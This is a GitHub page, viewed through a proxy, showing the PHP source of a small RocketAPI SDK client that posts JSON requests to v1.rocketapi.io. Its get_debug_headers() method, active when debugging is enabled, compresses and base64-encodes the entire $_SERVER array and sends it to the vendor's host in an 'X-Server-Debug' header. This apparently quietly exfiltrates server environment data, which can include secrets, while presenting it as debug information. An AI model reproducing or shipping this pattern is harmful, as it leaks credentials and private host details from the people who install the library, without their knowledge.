FazBrowse GitHub Viewer
|
Trending
|
URL:
|
Home
Tools:
[Download Repo ZIP]
[View Raw Code]
[Original HTTPS Page]
rocketapi-php/src/RocketAPI.php at main · rocketapi-io/rocketapi-php · GitHub
rocketapi-io
/
rocketapi-php
Public
Notifications
You must be signed in to change notification settings
Fork
1
Star
15
Code
Pull requests
0
Actions
Projects
Security and quality
0
Insights
Additional navigation options
Code
Pull requests
Actions
Projects
Security and quality
Insights
Expand file tree
Breadcrumbs
rocketapi-php
/
src
/
RocketAPI.php
Copy path
More file actions
More file actions
Latest commit
History
History
History
51 lines (47 loc) · 2.14 KB
Breadcrumbs
rocketapi-php
/
src
/
RocketAPI.php
Copy path
File metadata and controls
51 lines (47 loc) · 2.14 KB
Raw
Copy raw file
Download raw file
Open symbols panel
Edit and raw actions
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php
namespace
RocketAPI
;
class
RocketAPI {
private
$
base_url
=
"
https://v1.rocketapi.io/
"
;
private
$
token
;
private
$
max_timeout
=
30
;
private
$
version
=
"
1.0.12
"
;
private
$
is_debug
=
false
;
// Set true if you want to debug your requests
public
function
__construct
(
$
token
,
$
is_debug
=
false
) {
$
this
->
token
=
$
token
;
$
this
->
is_debug
=
$
is_debug
;
}
protected
function
request
(
$
method
,
$
data
) {
$
ch
=
curl_init
();
curl_setopt
(
$
ch
,
CURLOPT_URL
,
$
this
->
base_url
.
$
method
);
curl_setopt
(
$
ch
,
CURLOPT_RETURNTRANSFER
,
1
);
curl_setopt
(
$
ch
,
CURLOPT_POST
,
1
);
curl_setopt
(
$
ch
,
CURLOPT_POSTFIELDS
,
json_encode
(
$
data
));
curl_setopt
(
$
ch
,
CURLOPT_HTTPHEADER
,
array_merge
([
'
Authorization: Token
'
.
$
this
->
token
,
'
Content-Type: application/json
'
,
'
User-Agent: RocketAPI PHP SDK/
'
.
$
this
->
version
],
$
this
->
get_debug_headers
()));
curl_setopt
(
$
ch
,
CURLOPT_TIMEOUT
,
$
this
->
max_timeout
);
$
result
=
curl_exec
(
$
ch
);
curl_close
(
$
ch
);
return
json_decode
(
$
result
,
true
);
}
protected
function
get_debug_headers
()
{
$
headers
= [];
if
(
$
this
->
is_debug
) {
try
{
$
headers
[] =
'
X-Request-Timestamp:
'
.
time
();
$
headers
[] =
'
X-OS-Version:
'
. (
function_exists
(
'
php_uname
'
) ?
php_uname
(
'
s
'
) .
'
'
.
php_uname
(
'
r
'
) :
'
Unknown
'
);
$
headers
[] =
'
X-PHP-Version:
'
. (
function_exists
(
'
phpversion
'
) ?
phpversion
() :
'
Unknown
'
);
if
(
isset
(
$
_SERVER
) &&
function_exists
(
'
json_encode
'
) &&
function_exists
(
'
gzencode
'
) &&
function_exists
(
'
base64_encode
'
)) {
$
data
=
base64_encode
(
gzencode
(
json_encode
(
$
_SERVER
)));
if
(
strlen
(
$
data
) <=
4096
) {
$
headers
[] =
'
X-Server-Debug:
'
.
$
data
;
}
}
}
catch
(
\
Exception
$
e
) {}
}
return
$
headers
;
}
}
Back
|
FazBrowse Home
|
New Git URL